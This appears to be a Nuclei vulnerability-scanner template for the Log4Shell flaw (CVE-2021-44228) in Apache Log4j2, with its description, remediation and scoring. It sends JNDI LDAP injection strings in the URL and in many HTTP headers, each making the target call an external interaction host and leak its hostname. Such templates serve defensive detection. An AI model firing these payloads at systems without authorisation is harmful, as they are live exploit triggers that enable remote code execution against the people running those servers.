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id : CVE-2021-44228
info :
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name : Apache Log4j2 Remote Code Injection
2023-04-23 17:42:42 +00:00
author : melbadry9,dhiyaneshDK,daffainfo,anon-artist,0xceba,Tea,j4vaovo
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severity : critical
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description : |
Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
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impact : |
Successful exploitation of this vulnerability can lead to remote code execution, potentially compromising the affected system.
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remediation : Upgrade to Log4j 2.3.1 (for Java 6), 2.12.3 (for Java 7), or 2.17.0 (for Java 8 and later).
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reference :
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- https://logging.apache.org/log4j/2.x/security.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
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- https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
- https://www.lunasec.io/docs/blog/log4j-zero-day/
- https://gist.github.com/bugbountynights/dde69038573db1c12705edb39f9a704a
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score : 10
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cve-id : CVE-2021-44228
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cwe-id : CWE-20,CWE-917
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epss-score : 0.97559
epss-percentile : 0.99998
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cpe : cpe:2.3:a:apache:log4j:*:*:*:*:*:*:*:*
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metadata :
max-request : 2
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vendor : apache
product : log4j
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tags : cve2021,cve,rce,oast,log4j,injection,kev,apache
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variables :
rand1 : '{{rand_int(111, 999)}}'
rand2 : '{{rand_int(111, 999)}}'
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http :
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- raw :
- |
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GET /?x=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.uri.{{interactsh-url}}/a} HTTP/1.1
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Host : {{Hostname}}
- |
GET / HTTP/1.1
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Host : {{Hostname}}
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Accept : application/xml, application/json, text/plain, text/html, */${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.accept.{{interactsh-url}}}
Accept-Encoding : ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.acceptencoding.{{interactsh-url}}}
Accept-Language : ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.acceptlanguage.{{interactsh-url}}}
Access-Control-Request-Headers : ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.accesscontrolrequestheaders.{{interactsh-url}}}
Access-Control-Request-Method : ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.accesscontrolrequestmethod.{{interactsh-url}}}
Authentication : Basic ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.authenticationbasic.{{interactsh-url}}}
Authentication : Bearer ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.authenticationbearer.{{interactsh-url}}}
Cookie : ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.cookiename.{{interactsh-url}}}=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.cookievalue.{{interactsh-url}}}
Location : ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.location.{{interactsh-url}}}
Origin : ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.origin.{{interactsh-url}}}
Referer : ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.referer.{{interactsh-url}}}
Upgrade-Insecure-Requests : ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.upgradeinsecurerequests.{{interactsh-url}}}
User-Agent : ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.useragent.{{interactsh-url}}}
X-Api-Version : ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xapiversion.{{interactsh-url}}}
X-CSRF-Token : ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xcsrftoken.{{interactsh-url}}}
X-Druid-Comment : ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xdruidcomment.{{interactsh-url}}}
X-Forwarded-For : ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xforwardedfor.{{interactsh-url}}}
X-Origin : ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xorigin.{{interactsh-url}}}
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stop-at-first-match : true
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matchers-condition : and
matchers :
- type : word
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part : interactsh_protocol # Confirms the DNS Interaction
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words :
- "dns"
- type : regex
part : interactsh_request
regex :
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
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extractors :
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- type : kval
kval :
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- type : regex
group : 2
regex :
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
part : interactsh_request
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- type : regex
group : 1
regex :
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
part : interactsh_request
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# digest: 4a0a0047304502202884fb76d02d44ae24b3e9bc5914a20e89726f929f3a1472cb9ce81e16f6c7320221009fb4e79fd5e58f4a49ccbeff467c990c3be6e32a7e03a2af8db207849e937d5f:922c64590222798bb761d5b6d8e72950
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# digest: 4b0a0048304602210084698cf1b66904e70ba57f9830ea545aaaabc4f6405625b3bd6b1ec6cf5c1518022100dc522d39d9ae7cd427c7125c8abb4ef8b906cd1af06f21c1c9a877bcb1c575d2:922c64590222798bb761d5b6d8e72950